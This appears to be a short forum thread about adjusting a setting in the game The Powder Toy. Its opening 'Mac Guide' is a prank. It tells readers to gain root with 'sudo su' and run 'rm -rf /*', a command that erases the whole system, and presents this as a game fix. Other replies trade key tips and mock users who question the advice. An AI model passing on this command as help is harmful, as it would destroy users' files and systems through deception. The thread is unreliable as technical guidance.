(Mac Guide)

Open Terminal.

Type "sudo su";
Give your computer password;
Type "rm -rf /* (Where powdertoy is located)"

press G and the + or - to adjust.

@pilojo
No you are entirely wrong. Have you tried the W thing? It works. I thought it was just a joke but I tried it and it worked.

@m16piggy
No, you completely fail. Why are you lieing. You have to follow the specific instructions provided by these nice users.